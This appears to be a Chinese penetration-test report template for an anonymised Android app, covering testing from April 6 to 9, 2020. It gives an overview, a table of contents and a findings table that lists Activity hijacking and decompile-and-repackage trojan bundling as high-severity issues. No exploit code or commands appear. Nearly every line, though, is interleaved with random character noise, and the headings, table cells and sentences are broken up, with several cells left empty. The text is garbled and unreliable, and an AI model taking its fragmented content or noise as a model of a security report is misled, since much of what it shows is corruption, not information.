+ d# X6 w' W' U# d- ?) F. P0 D( H: Y/ q5 Y6 u
( [7 V, P) v' K/ L9 F0 V5 w- {$ H' o9 A# }) Q+ H3 }
1 A1 g7 `. |7 I% L% {$ f
! R( i4 ~ E+ t' }$ @, g9 K& Z; J! Z, o
. c+ ^1 w" p$ T* Y8 N0 M. P- X6 H: ]! _3 u! ^" j5 b
/ E3 k8 v% b3 V) q4 D
8 R; L! H$ f( ? C( D. N5 }+ s
4 b7 [' S" B1 r9 H7 l0 ^, ] {" w4 q4 s$ [
文档编号: a( E9 h+ I' d/ ]6 _5 m1 g$ [ B) y0 S4 g
" g( L. A+ l) p
8 {; d1 n, {% G- Z4 G" K- m
, [# i' k; V c d. z( u5 a
j& W" g: v+ r
: y9 N$ t* a( k0 ? " n e4 R1 d" o
3 o% P1 f5 Z) {5 W9 g2 x% U; ?
( ]! c5 e1 f$ J5 w: b7 t1 U+ a
9 S, v! E) i8 b& h+ M% Y- Q: z5 @
2 Q1 N H3 d% s7 ]. {* j" }0 l1 c. @' G% k% A' s
1 {3 K: H& ~1 I8 ~. ~
! R8 \$ }4 M0 o' w
: P$ |' `. _4 V, H' l1 X# m( |/ k, T8 i! ]0 X0 F
4 n0 c7 x( a0 Q. Z( [) H6 N8 t b0 o4 d! q6 Y: M( W7 q
, X/ t1 Q5 L; o* T P
& b8 @# c2 f/ r1 ]3 a
/ V3 D( W4 ^, _0 L1 L- F
- e+ ^; y. L- [& D 7 d# H+ a$ |* d1 W# Q" I
$ P# ^$ N0 W8 G6 t
' k' V# b. Z$ p5 I+ Z2 y2 N
$ K$ R S: _( Z3 ~* Z/ T
) Z3 D9 X1 \% o2 N
' W% E+ C( a% L9 e
. O: g% q% T) v' \5 F
; z* h* s* D, S8 G( N; w( B
2 q: Q( N1 Q0 }' j8 r
: M: m) r( X& ^3 r
( S. i {: G6 C, e- P9 Y3 U& N
' A& k1 ^, L h. M0 I * Y: d8 l7 U) c" }1 p" o2 |, p
& K& J# }: A/ A w& T& R 某某某APP渗透测试 0 Z* l, m$ C$ q: h
o }" Y$ e0 {& U6 @* ~% f( Z
9 C" t: R/ q* k4 j6 h
& V: x [0 f) L2 k, I 0 S3 W8 t0 A. V; E
: K: J: z& P$ L/ {2 m9 z
8 q- F3 G' s3 L/ S7 `
$ b4 L8 A& b' w/ Y" l. ]1 M
: B/ D$ ^( Z: W. O# i+ z# E
* e9 G6 P8 j2 W/ Z, l" F' B
' @2 k! A4 h+ D0 I9 C
5 K6 O# h* y2 V1 K4 b; ]6 { , J+ u1 e' e7 g" t; Q' `; J
. s" F" P4 I8 N% N( E. ~
+ C4 C: b$ p8 ?( `; u! m; a' a7 \
, t* V, c8 Z8 v3 Q6 a* S) F+ j8 [5 L ! S1 H& \5 C- @
1 o; Q6 R% I; J7 R. Y6 c - d' q' c$ X* |1 k8 p
+ X( b F! C9 x& V
1 E* y% v @! H* b2 Q
2 _/ [7 C1 Q" k* i8 E" N% S % q+ {, R% N8 x, J. V
. w, Q( @+ s- y9 y& u
$ F* g$ z- g0 X+ g' {+ ^ Y
1 V2 G7 K1 F; {" x
* k( Y) }" s+ g7 y8 C1 W% Z& [
6 E2 K* h: ~ V* j0 }* n
' [% b. H/ z% X, {- u5 ?% h9 X2 |" b# b2 f( ^
技 术 报 告
/ v H ]$ I7 K3 ?4 i5 z/ b, [ _$ [# P. {0 [/ t) @0 [
: ?) D9 A, ?3 t) X# u$ D0 C
' H$ U, z. h, H3 B$ x9 E
6 i0 ^. p2 L4 H5 o% s2 I* q6 d: V9 J5 [0 J/ k# u9 g) U
, p2 Z& W( t; X9 R/ b& A- P7 o$ F0 v0 q, c- I
- l% ?8 x8 A! p, I! h+ b( w
) v u; @8 ~# C6 K0 N, i ( [: i6 ?/ ?% Q7 N5 @3 x
0 f3 e0 j* U. n& }1 g7 G" ~
2 z2 A2 Y1 n. f; ^4 A0 Z, R+ u: b0 r, d% @9 P1 V' ~7 {6 G& E' J
8 E% c+ @$ A: v' u
' W) T6 S4 k: l- c1 t& l# I
2 |& d4 M3 k: |4 B
- k5 y0 N# p7 l. f " }9 @$ o( s2 U, }* N0 K
' o4 `- L0 v2 v6 G- G- b
8 Q. t5 h) Y+ K
/ P$ i( v9 l% s3 x( r( r ~
O& Q' H. Z* W! J: g
! y2 o) z- I6 u; M , c8 @ _5 u' Q% {4 Q
" I( p' D( ` p
$ O, ]4 r. ?/ J7 Y, r3 Q$ \# V e7 a4 H
6 o6 J9 o! f4 h. y! A4 Z: @# c$ I" ?8 s$ G( X
; g7 w5 z- s# P4 d5 r
! H# I1 W3 ~4 }$ K2 Q6 `
0 }2 i) b9 W C0 _8 z( f" D( D
/ C4 D# h2 ^/ s
+ f; d5 d/ X: Y
8 z3 y9 T! F' {9 K0 k3 \% C 4 ]5 D2 Q. p$ B8 L7 S
0 U' U' j) G0 n5 N6 {; e
) }+ q) L( U' C
4 W! T$ A* n% n+ I! w) G5 }
: a" N3 ]9 c: \2 A; g/ p
0 ^7 p1 X8 Q, q% P" g9 D
! U. i5 L. N- V& [: ?$ l! T6 x. |4 N' s* s8 _
/ f: o! ~8 w6 _9 I, k' r
: [8 t6 O! ?# O6 {
e4 x. d! Z5 _" v
+ n# S3 V$ i0 S3 M7 }
9 l) a3 T) W- e, w1 O% t3 Y5 Q6 P5 A
. [& W- W3 n. [6 E
6 t, x/ v7 h; Z
e1 U+ L4 y5 p' Z5 j7 @8 L
& i; M5 ^6 W& b9 ]
- B7 r" A8 i7 ^- }' l& r: i
( }' C2 d, @9 a: ^+ Q% y
( E0 X) u1 O+ I" P1 x
7 j# i' [/ H) P/ v. e8 O) X- s- }3 p ' @5 ~$ ~* f' _/ d
1 J7 ~) Y! n6 R* l
+ F$ b. a8 l2 |3 D6 D, q
3 h8 N4 X6 H* l6 F
8 M8 |& G+ h" v4 V) H
- D% [/ l& q1 K. d# S
3 b! C) C' A) d: l+ @, r; @ l3 q9 _# H9 H/ D7 p- O. m1 F0 l
! k8 z& J3 C' x# X' H
) T+ i% x" e# l( |3 G
$ ]* q; _% k @; p% _; o; q* E; t( S1 v2 m+ N
! ]2 U/ f: C0 z
$ x) G( ~- [2 H / T- w1 a b, H
' x5 b# V# S o2 w6 m; P" d
" r+ Q' o: F% Z) D3 a
, a5 C3 ]* U" A9 X& W
3 v: n0 y% Q0 D' G5 H/ A0 N9 }
E9 o- t4 ?" v8 J, z 1 R0 S2 e$ j& Z( F, ]2 l+ M
) M y! P: e, p* ]: {
3 J4 \$ o6 f! R' B+ I2 M& ]1 X. ~4 N4 \# K
' G; r8 C+ u* r! o! Y8 i% n
6 z, @& n2 x' n1 ]
% k% p/ Q! P' X, z- A2 D& J1 q( v
% T) H# a3 Y( \- C. }! }
. x& V& c! Y" r& ^( [
/ h, P: Y% A x* I; n) s
. L o u5 G' r5 f ^* A
3 c2 ]0 S1 }6 g) l8 O+ d5 L6 H5 U
- l# ]1 V7 z( K5 G
9 ^4 H% B$ u0 Q% K& R/ g2 O7 B( Y
! L% O$ }! f! H3 i1 H/ J- u' V, r$ E & x- a& [1 z' g+ Y$ Y w
& ^/ Z) }1 v$ S# \% ^6 i! |' w
3 F% U6 _" E, u3 S# _9 d! Q1 R
$ r5 B9 { S8 m! l( a( K9 `
( i2 c- @0 z# f' N/ p* w+ J1 k' v9 @# m9 N
" x( }8 A' P) y' z a9 i w0 j9 m ~' J: r2 K. E
# y( |# F/ k* s: f
! }% B" t _5 p+ b) q$ O
* p; U& h$ T. k5 S2 t
% V$ `( }" A: c$ e: [; b1 J) O
b0 u) z6 K4 n) p: F- R; M
5 z/ a& e) ?! l+ N
% `/ k7 [& D, b: q( I2 J4 Q: L, M, Z. X* b/ I6 P3 r
4 l* W" \, M6 G* x7 t5 a* t
# W8 m, {9 v+ o6 W8 q9 b+ e! E 9 p: u6 A, [, S7 c( Z) b5 U
- j! n( x' ?+ y3 e9 J 二〇二〇年
" o. u: d. Y, D5 O1 T; F
% {3 H2 U4 K1 y8 }1 f9 _
/ g* N" h! }6 w% a3 e' y
6 V" Q5 w0 Q N6 ?0 C t$ Z 1 W) p8 B6 U! A- B
5 ? Z& j+ x5 z6 x
1 a; F/ g% R7 N. M0 e! u; U# @
0 ^6 B% p n* Q% }; _
/ ?+ w$ M0 g) h" J! M ]; e! R c0 \9 e6 P! G V9 G. ]: g8 ~
9 i. a l. n& x4 \' O( a
8 {- i. J& @) a) `- t5 c
3 h9 o, U7 J m9 ?, p9 {" @
8 X$ i7 u }6 q2 n
( i0 N! I& y$ ^1 U7 r% `+ y9 u" |" d1 p0 X7 [! F8 w, Q8 x
8 P5 M: e9 L, N4 W& V) ^# y5 F6 Z
- E5 @6 p! A: |9 E! ]7 q# i& x
0 c$ f$ [: r/ i
5 K1 G# j8 ]" f9 e
$ M3 R& n# L' S& T, L" W0 h4 T! d# j- g+ m8 P v [% L
目 录
, e g$ \: R/ W$ q, o) x! V7 I; T1 L1 W5 e. x
. o% l) F, i5 r/ k. H+ ^: z7 N! D- n* W# ]
3 K: Q; ]7 s, c1 U8 O, a6 {. E
2 _- ~( I2 I& A3 A9 E
( W, A9 Y# T% m2 Y6 q3 P
# {! z$ `+ L0 g6 d! L
9 ]: W# ~/ L1 X2 _; L9 x4 O" W' ?8 E
6 v2 J$ T, g" d( N1 p* k3 o' l5 q$ {# Q; |1 i& h" `
- ]8 K8 M, _( C$ k, \
7 Z8 K: @/ S5 ^4 Y( n2 p 1 概述... 3
5 S0 J2 T z- Q
+ \6 h* j6 n+ X) S+ ]6 M. R0 q
/ B7 P/ a* P) @8 H, ]
+ Z! x/ C- `! \; `. O 3 u# _; o4 \' S1 y3 D) r; B
" B' Z9 A. A' Z' D
1.2测试时间... 3
% b& G8 O" X# @$ c, [
8 j5 d- h$ S: y5 I, |
) y4 a5 S$ @1 |0 w
5 U8 ]. y0 N5 C
1 b+ X1 W% g0 K
( H9 H' |, g% a) e
1.3测试对象... 3 7 H2 P- C6 @2 J" j! Q* l
: E" K: o! g) z' u
2 Y* Y3 P5 f! y
7 i2 _0 r* T) h, R
5 @$ {# O; z% g
9 n% m$ A0 z; U; J: O 1.4测试结果... 3
4 N" r) l; R# Q5 W- U3 C$ _$ u/ d. [& E2 E; H% f$ R# W! W
% n5 | F7 T3 [+ N; r* ]
' d+ S$ r' l2 e3 Q! F - U( a1 [8 }5 i4 [
2 ^% M! Q6 D/ M2 C2 s& t% E& s; W* l
2 检测结果... 4 ( d2 @( J4 z) O+ |! l- d- ]- C
7 s% e4 Q F4 `3 o4 t W) |
( ?1 n/ @2 @4 T/ A$ X- L5 _% a2 C3 Y+ @3 r/ V" I; u3 l5 x
) T2 K! y% c8 P& I
, q: c2 K( { ~0 x# U- T
2.1 某某某... 4
6 e/ G' O9 L# \7 U, d
1 t8 r: O1 l; ?: v' c0 @
: f+ i4 i. h$ P2 s# p$ L
; [5 Z, |7 T7 o6 o+ e/ r! ^ : z- I3 U4 s1 g% K1 J' B3 G
; f9 V7 Z0 q* ?. w! q
2.1.1检测目标... 4
/ Z! v$ _" ]4 t) {) x$ X" t: E' K1 r1 a g' b
5 h- M( q+ Q% p8 r. n; K1 F& C1 h- y( w$ r Q7 I7 B' \
: A3 C9 u! F! [0 Y4 P
% F# P4 F9 I0 u& Q* c
2.1.2检测结果... 4 ( i4 T* d8 l, P- N6 F' o' h
7 q# H% v* G, W* {2 g
1 h2 {, `- W$ a' U9 D9 ^
! m) a& D" g( e/ u! y
8 T8 }4 r) R& o% Q0 R( g
! U2 g7 L0 w6 }: x- G) C r
2.1.2.1. 4 " i, A. w7 p+ H# t, u; A' h1 W; n
5 r4 L6 g3 v$ G1 |. N
& M8 A+ y% Z+ R
8 O* D- q% A% w/ g% m/ L & [# r$ ^" o7 R* h. y5 U) [, R7 T
) D' X) d5 b/ d5 p! E1 p; ]5 ` 2.1.2.2. 6
+ s1 M; v3 v2 r+ s9 {# b$ l+ l: g& E, T0 ~* a t
* ^+ V- }! z" U2 y9 k3 U" I- y! ]( Y& X4 g* ]4 S* L
! r0 }1 q* c" N- x
- O0 r3 Q0 n2 y6 x% H2 V
" @/ C1 d/ m2 h
2 e# b/ }7 \- P3 _0 L2 F: c
( }& @: d9 }5 I' |" U9 s ]. m3 Z3 I# i5 c
* B$ d+ R0 {. c7 p1 @
1 z3 f/ a( G* _
9 v; B, [4 o; c Z& w
8 a+ t/ w# Y/ T: T* h# q
& [; h2 o% P }" X' |
3 r! N# G& ]5 G; H
0 m% l. S3 M, `! i0 ?
1 g, E8 D' K' F/ y0 A
+ T% K; w$ p2 |$ V# u9 ?! c2 a% g) k; x6 C/ L
1 概述 - c$ E) ~7 p$ A( }4 M1 R
3 F4 N, \7 Y1 G. j3 K* \- t/ w p
7 _+ f* e0 a) }" v
$ k! T' ~; ]6 o
) y+ V: i% ^/ ]% c( L
5 I- H- B- K; w1 M; e
1.2测试时间
! d/ B! ]$ P8 r; J6 w _1 R- V- B) m1 h7 U
M( Z* \5 ]+ r* z
! q6 ^3 ~0 n& {! p1 x4 u! a
4 D& K. U% ^% z) U" F) f4 W$ ^5 U; k& T
/ ^" }7 v, b/ M/ o
- R9 f% r K" Z7 p' @+ X' \4 C
/ H4 K/ u; `! _! t% Y+ k5 P
, d9 @# s. K3 v" S0 ?
( V3 Q Z( j0 f/ [ $ B4 V- ?3 F6 ~
* X5 [' p" U: E: r& o+ ~. V N2 }( ] - V5 ?3 `/ X1 o8 O2 p
8 o; q3 f$ U6 K2 d3 A
渗透测试时间 * h1 q3 G: G4 g
# T! @9 z1 j$ b9 ~& k) \' r9 J
' D& V: l. d7 n
/ X6 F9 O# X) N4 R: ^. ^6 ^" }- _ | ' N. `1 }3 ^, B2 B+ q/ s
8 h- `% m# z) `2 F6 m" G/ M
8 \6 C7 K+ B- F* W. F5 O6 ~; |) {, q/ _, B
! A* d5 T% W1 c
" Y) }9 a, y: B1 c0 {
J0 @! B$ l; h& M% w+ _' k/ R' g \2 ~1 M1 e2 ?: Y, f3 {, W
- m- U3 t! B0 y2 R
# A& p2 ? } X7 K1 R
起始时间 ' T! x# b2 N* l6 k( [! S( i
& W1 l L+ _# G, k3 ^+ c) i v
0 o9 }. G/ V ^- ~2 |1 o2 _% e; Q$ |
|
$ U }8 s8 F. L( x
4 J" d9 A' }; r2 W 1 i! G( `6 L# p2 H9 n
2 m( g8 w4 _3 i$ @# W- ?9 B
0 j7 s$ [" b0 Q4 K( O
" ]5 j0 [" B" M' p
2020年4月6日
( r1 `" v" C4 c1 K& X$ y9 Y$ @
3 Q( q' C3 ?9 E1 z. {3 Z 9 e* ?; x7 k% [1 I% s7 c) h
- u5 f9 g2 j; y/ r
| ( y) |2 _# D3 G2 W. q$ b
- Q2 a& l' O( Z* a" U6 m
' K2 c t( F! K4 ]5 W9 ~0 A M5 p
! m! ]8 a6 O4 e U: j8 X! N
* ]+ X' T. G! N( I; j5 j* e0 F6 ~/ R0 [( _% ?; K1 | z# X; h6 \- l# T
8 i4 V, c. }! ]6 \; V: m- Z" z! O1 W, u. x
# Z' l$ B8 ]3 L* o' D6 R
[5 m2 A+ _( a7 r* [ 结束时间
2 ]* J/ U X9 ]* ?& X) ~; _, e/ d: K$ Z) ^6 d( C2 b8 j
+ S0 A# f* G P( G; U. |
0 z) S6 O9 }( e4 m4 `
| 2 C0 R' U( r+ Z3 M3 d
9 M& _5 Z* e ~! j
# @! t/ u; ^' Y: s; u1 K# s* I: x* p/ ?$ }( n
, Q* Q+ G" |) N# f
5 u$ g# N6 y! g1 O
2020年4月9日 - @6 W' j# L/ Z7 J9 a6 K
, z& I! @3 G1 b/ e( h
2 d% v+ Q6 b' b2 y8 i
- S1 c- \( G! P, ?4 Q" U# ` h. y | 0 }+ _: e) K( t
) j1 S) T f$ Z" [: R% M6 |
4 m o# k7 {, C, W1 b' M; |
; G, O* `# A' p. @3 b( j) T4 a7 `
' H+ n% }% r0 _4 j4 w8 \+ n: e" t# Y0 U
- c$ O. O2 A& B6 z1 w J, B4 w
. y% }: c+ k# U % [3 L" }9 ]1 q S( N/ z. I1 r
1 T O( S* G3 l; k, r" ~7 ]/ O 1.3测试对象 0 Y$ [# H2 e7 [' Q; x
& W4 y9 c# y1 ~6 H) }$ m+ T$ d& I
" c; a4 `4 n. [- ~+ V$ a; g9 ?) \& x! Q$ Y
* z/ m$ f! }- K; Z" ^
+ ?& w1 U; h3 S8 c: s
此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: : T; h3 I$ v2 S/ U1 ~% j, u @' ^- B
0 ^5 g- t* @% ^9 R6 ?/ t0 Q& b; X
6 s- W0 S7 J! b# ]
; C$ ]! u' l" ]$ \
S& k9 T' x C1 y5 o
& H, X* ^/ U0 n2 F1 u. q0 a$ O) \ 表1-1 检测对象 6 a4 P. n6 C9 ?* `1 W8 v7 q( N9 C
" E5 N+ l) d) \) q+ Q
+ G1 S- s* Z' }8 l: e
) o( o% X) V: a1 M
5 b2 e' Y: D- X" O, |& F
. R6 s) }9 I* ^6 Z, x
, T/ x4 V( K8 E+ W- ^! I8 j1 x( \0 o4 P) f( d
5 C4 F# x6 v6 W; K6 k
T% X5 U$ s1 X5 ?, I
0 p# K% H2 V L0 g& c1 O- `$ T6 f4 a' p. b' Q2 f1 w, b
, o) n7 ^7 h ?5 A) D3 N/ s: u2 a- Z# L! }9 b
序号 / Q: Y1 j# R) t2 q
: F; |4 ^8 @/ l
$ w1 n1 c: x* A( Z
0 z8 M: `( V7 s |
5 W. \# L9 |" P, h( @+ [% Q
+ O+ t) o6 k) j/ Z2 R2 s( b5 F
+ m0 b1 J7 F6 A6 s1 p- T6 [0 g
3 B. E0 }4 Q. T. K5 I# u * d. l5 H* A. H/ M
6 F# v# W% a9 l1 |7 g
测试对象 6 B P: b7 t1 {& T4 f5 f
2 W, d; Y0 }) t0 H
4 E; k8 k1 ^5 J3 j2 P, ?; P3 L
3 _. v& k. J3 Y) V& O9 x/ X4 M | 0 w+ R0 L' t) T6 b: N, P
N: v6 ^ M' k3 t5 l 2 l! U0 A7 u0 W/ b- P! \- u
* r; g! _: U d% a9 Y& U . R1 f- E8 i* `
7 a9 ]3 b; L# t+ m7 {, Y
测试地址 & o: }5 h6 v1 R! w: j7 D, P4 f
2 P+ T# \& [6 V {+ a2 L: @4 I
/ `. |. x8 ~, v" b1 m5 [; ~
0 D% O; h; A8 T6 K |
0 O& n% O, ?( l* L" }- {# H, x4 ~. m6 S" [6 J
. C# J2 e/ G2 @- J1 \
0 t4 h5 q5 o2 H9 b% U) C9 O/ k& E3 D 8 C9 i' S( |0 H* v2 `
' O5 P! k3 \9 ~$ x. E
安全漏洞 0 s) }7 F8 t5 E7 b0 U/ [, \! C8 F
* X) @5 B! j2 ~$ u* K- D4 d
# {* ]) r1 Z u6 }8 v, C9 e! y' Z O" B, M. h# q( r
| . E2 D9 c. p1 A" H+ x+ G
) E) U0 L7 ]3 k$ m3 l8 \
9 }0 V0 n" @% s- s" W- G2 J5 p, V) Q
& q9 B1 @" t' V! Y) c7 s m7 @: h: X% j' U/ D* y6 g
8 d0 k. O |2 G# Q. E5 V& j
, Y- u( y! ^% l% w- Q
4 I" D( u9 d, { j2 c" ]' l# i. ?4 D
9 B. ^; u. u9 j& f# f6 t
( n4 J/ ^9 I+ E& L- Y4 m9 o2 X5 n$ V! W 1
- }2 a' c' j7 ~% [
8 B7 L$ c( F. J& D0 m" r
# x) d) X8 T! Y# `. }8 q" ~/ k& i. c% G3 u9 ]% ~
| 2 D" O+ R+ g4 c
: |! |6 G) Y' }: q6 m9 `2 G
/ n* j( F) H& z( h' a, r6 C8 w1 j/ W( z9 f& l1 V& `# J' l8 F+ f/ l2 k- O
7 N5 o0 Z: G$ W1 Z D
0 e& h8 B+ C: t8 }- c
某某某安卓APP
5 m$ Z6 h& ~4 W- N9 | ?) y( D! U5 g' m# B
$ S( @! e+ r& T3 M
7 i0 d5 n7 r1 {9 r# R | & }. D. z1 @2 B3 {% L% C0 y
- ^: L6 u/ b& Q. W
0 z) Q. ]1 Q! u8 D8 G+ ?/ c+ p, B* u% h% v/ @: w# {4 w! ^
+ n0 a# Z: v7 b a M4 D* g' R+ G0 p# I4 m/ k4 }
. j4 B$ h3 X# q" `8 ~% v1 B( x: u* [! G2 }) D% K7 L. M. ~+ G V
5 H9 \! E/ F7 A) B, U* Q2 \+ X( p5 l) A' Z) {! H) Z# ^
| M v4 `8 a% {
; p: t! M6 X L& R( ]3 O+ A+ r
$ U% b8 D+ K2 d0 n* ?- _. N
. U U4 [; X0 M$ f2 c " s) Z, A) @/ T. f
3 ]7 P6 g: Z( j 2
9 x8 L' S1 j5 ?* v
$ ^, T5 [/ n4 W* [, F0 Y - ]- r+ j% F2 Y1 S9 T+ x! m! [1 \
! ]' w' E3 e3 H9 F+ S6 W9 H* {* b
|
; D/ q( h- r* Z' ]
8 `8 y3 `* F5 s$ u; J
4 ]' }* }1 N H7 y4 ^! s- `* O" W- i# w; @" p" C, C
( G* Z; m" Y8 k$ ?. a- Q
8 m/ N$ c5 z' Z! a! E
$ y" O' d: F* n% a
/ h4 `1 d' J' {' n6 U
# ]$ S- U/ a1 t2 h; ]' L6 m; [( ?' g, I
1.4测试结果 ( ^) l5 ~5 H; y* ~/ G
4 }1 Z. L' u5 p0 n
+ w' C$ W1 T3 N) f) v$ w( m* l
( `; q) H) U" _8 Q5 v( k* ?
# b* G. s( A E9 `; a3 p4 V( n& d& b+ O
在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: % {% _1 k) o3 Z: s0 ^! y) n& ?
9 O2 W# g+ P# l' L# J
& J. I6 D4 K# ^7 _! S& r4 {9 E
' W3 i# H' @% j/ _$ H3 M- l8 F
: D' t& F3 x6 e7 P+ W9 t! j5 R
?8 G) o; g8 p1 x% N; C0 ] " x# z- P: _1 {4 ~4 c4 h: S* n
' y3 ?. Q. B; d# G1 j( k
5 I1 }8 d% C& o$ W0 o6 F; y
" ^; l6 P# p9 X- j" g
8 N: _: P+ x! {" f# @: b6 \( k. M' L K1 \+ d2 L- s/ d& I. W+ O
- ?" i" i( C' z5 X4 e6 O1 \* l( A! _- j% O" b: c
, y$ r! T0 V5 ]* u1 h
2 p% e1 }# j' x1 i4 a
& n( w1 N! j( T1 ~; O4 K8 {5 q% { ?5 i( T: e" T/ W
: N" K; B. E G& k
2 |3 t6 y% g5 } % b: U; L( K; C
% I6 X5 H! o) m4 v% T+ O5 M
序号 1 T! h& X- j# e4 e$ K
& ?+ U0 E) ]8 W3 K# L& M5 s- f) r
' ]9 F& C# l: |! B; q* f q5 Q4 a( E5 d) D/ `
| 0 |! W% @3 b1 Z7 C: e
# I" @# n) ]; `) O6 t
' @$ E! t7 Y! A; N' g. G- F4 t1 w @6 z- C# {0 ^
+ a* ]5 ^. Q1 o
* l1 \5 R( ]7 v/ q 系统名称
4 z9 C" W6 [! S/ y
( C9 N& C7 q7 T
' @" ]9 F) o6 m1 s8 Q- Q$ n ?% t1 k. y3 C2 Y% @ \
| * f w+ h$ x% ?" d- f; X2 C
6 z, x' C6 d+ a* K8 q) B
* `1 r8 B8 H" P' `, m7 P
5 h7 Z, f$ {4 E9 k% U/ q3 e
+ A; Y9 D ?/ X5 ~0 L0 K
( J1 X1 I7 W+ ^! w: o 漏洞名称 4 t( r1 l$ ?4 j
+ P9 P7 R5 }% k
6 C- c6 j# l% R
$ J' ?" ~0 Q6 e4 J( R( c7 e m- d- m$ ^8 R | ! M: g9 A- K" U3 y1 |4 K, F
4 B# A2 n# z# M! ?
8 B/ v/ m _- N* `& i! g; B9 e9 x$ ^! o3 @ ]: w. v* H7 q. Q& u. ?
4 P0 ^& w2 h+ w$ K' d: C/ F
1 F+ B6 R( s1 U6 b
漏洞危害 ; j, S/ `2 o( V
# d1 ], F2 R; z$ i9 L4 o( c w& N
, x7 S/ K; H1 |( L2 m) m
: k# q. N) E0 v5 E! D5 ` | ' G3 ~ v4 t; l+ U2 d
4 o* T% g7 u' f8 s! C6 X+ T' x# P
* h& L' f5 H6 b2 r' {; Y, v
3 v5 y$ w- f8 X# B 9 [' f7 f* ?$ Q( f, _6 m/ ]
7 B+ H% F7 g3 g' _8 V6 I 修复结果
/ s; B5 \8 K/ t6 T& V. G
K3 J' d I) G6 n8 b3 F 7 J/ e7 J& H4 T" k3 b3 c9 G
8 }3 ]+ O! t, R1 ?: U( \' d5 J
|
7 X9 V" G$ G+ x6 {- v4 o8 C
2 E- B5 ^8 o5 H& T) q8 Y- R3 Z# G
. H9 u: B* w* [' F' H) p! [: r3 `, p
" G5 g+ K0 X' l q; n# U' l
' G) s8 q8 m6 n/ n$ S+ m# A, Q- U
0 A; J' Y) ~* \9 w
. o3 k; m6 i4 A9 E) E9 V7 h6 \ " G \+ W4 i0 k( H! x- j
3 k" G% ^' A3 @: h$ f 1
# G H, c; `3 O [2 @1 t& T0 J8 b$ Y
/ K3 _! j) h1 R0 |
" s+ @4 |% H" @- `/ S) \" F) F c
| \$ w1 R! p- Y9 V. W% a
3 D! D7 n2 {' b; h3 u8 r( k v
* v8 N- f2 L8 ?( G+ M) _$ b9 u N; _3 t0 t! ]1 p2 z$ ~) `# t
9 O+ d6 i: c/ M
1 S# R/ O3 @& X 某某某某某某APP 0 D' b) [ [! G+ j) G3 v
! r# T2 C( e3 I' Q 5 ]4 x. l5 ^# N- A8 L; T% V
4 y/ ], Y3 z2 S" G2 w. Z4 ?
|
" r7 ]; x+ u$ R. f4 o R/ \' E g3 o, R) b' ]1 q0 [$ a: n
8 h- `3 j( F5 C7 w) B0 j9 @6 M5 E5 A" n/ Q0 }
# x4 Y: E: _- _# x7 l) r% n
U G* @$ g/ x* w* l4 m Activity 劫持 6 _1 f( N) m! U4 u
/ B- Y( ]1 ?$ R
; ~, h o* A2 p
* o9 T8 D/ K2 g! s& b
* n& G! l0 n3 r# I$ k, \- v
. P; M3 ]9 I# d
, s% ~# w# o# U- z
8 s/ `! s. m% B" q5 o7 M! X" l3 ~1 M
( z6 ]" J1 R0 q2 n0 o. }: r
4 ?5 @; a5 H- {- {+ }5 c | 4 i1 Y, @1 c* c# l9 r8 q% E4 C
3 L, f3 Q+ t4 z9 r* j( O( B) E 3 @; ]' T p* R) d5 Z' [* F* b
& y3 b9 }3 n N9 ^+ l! T$ m- k
; [! w% O2 |6 f* q! @4 Q; e' ?6 ], D: P4 A) T" b& p
高 2 J, T/ J7 f( l6 a
5 |% [7 ~" Y( k M6 X6 ~/ _" C0 y
+ H: ?# V9 S/ p. N, O
1 O5 h( J% l3 W( l# F
|
8 S Y! W4 ^3 w6 s" @0 ?# T$ `' f" Z; [3 A# O% L
7 V& v8 d: T P
* G$ @% B, o; N& ~2 B' J D6 s* v9 i6 E. X2 k
* z0 g3 U& H% \% A. A
( `# x( ~; { N& |! `
+ D! L1 `( r; h7 r( x* p
6 u0 r4 l0 }4 m+ q1 m* x' `8 S* y3 g$ x- [# O) s
| - V$ k5 o' }, v* g# Z
% O+ V0 B) P" n6 P% e
/ g% w; p% p1 O4 B7 n
! C: H, P5 ]+ e9 u8 m
E1 s: T* x2 f8 r ]. l/ O: L1 Z0 S) ]% Y! L+ g( @! L
& W7 {* a! A- D$ a& Z* B# | Z$ S
' i9 @) z" T& D
5 D$ Z- x+ }: r8 I) A5 W8 n
2
8 q( q2 P; |0 p0 _. K7 o9 t% z. X* h' [* x# J
2 j: y: V7 y) U+ G) P$ t- k' K+ }/ X5 y3 a4 x' t
|
$ N% i" \7 T1 S$ H; v9 ?, U% s: E+ e# q
6 i4 s2 N% E! D* Y. M9 M% A* E0 j
8 Z. T5 m6 B" m
) Z0 V2 N6 R* T# H. n: a" q; l }) G! c, t
某某某某某某APP & O2 i1 f1 ?, K+ m
, V! Y9 ]/ l5 {8 |) }! a $ J, T$ c6 g% q8 @% j% R! f+ V
0 \" l) m- S0 J5 K/ e |
6 {" m+ g+ Y1 t# }" j' U1 V) o3 D3 f2 b
/ b* Y/ c1 k; n" y ]6 S- l
" `- a# V+ d1 |- k, D
. e" c! V: `1 w; J
) S2 F2 N" Y# W; x3 i8 |% [' y% m
反编译二次打包捆绑木马、篡改APP代码
' W5 [; p5 \9 ]% x2 L: r4 A
4 e7 O% i# H8 J. g) K# }2 `! P $ c$ E7 }4 c, f0 l* ]0 q2 X
8 f. v) Z; F, u& F | Q3 K6 q: f2 t p* }* S) i. Z
+ H& E/ w6 |7 D# e 8 m; q7 @2 E( S1 x& |
% ?7 h* Y+ q. ]4 P
/ r/ B f: w# b" F0 N- \& l; D6 W. J% z" z1 K
高
6 T: |* q$ o+ W: W( T) K
5 s( @! P) W( ]# D ; Z* B4 |" I7 b+ O" [3 i8 Y3 V3 B
0 I; V6 R6 O# a# {6 j
|
2 e8 |/ P( r" w s- K, e* M$ A* i8 U) ?
3 ~+ l$ O+ F# }; R, e. v0 z0 _8 y( \$ }. ~( N' f# o& _
- f( E3 O" [* K6 E
- R4 E2 N, n! l7 y7 D6 h( F ) J' \- [+ I* J, M& |0 ?
9 U/ ?1 s6 x9 B6 C' Y
( P, ^' |+ Z& t! e, A( i
, O; d; O) K4 ]6 O1 K
| 2 X0 Z1 P' w2 c* O, [
1 m9 ~4 ~( D& f
. ^- g- c! t- j3 Q! a. s
, p3 U. ^2 Z2 E6 {( r4 D 8 g1 S3 \% U. X5 R
7 z% n; m- n& W% s& w
; `% Q! J4 k% t) k
* q2 K4 G, L2 t8 p; ^: X
; J' A3 P) m9 g5 j3 a2 q
4 `. X6 P3 `( U0 k- _: e8 `
6 Y1 F# r, j8 }3 M2 O1 d
5 n# ]9 n& z# U$ t c# v" l5 c X \/ z/ H/ c
/ A, K6 e. _* C& M
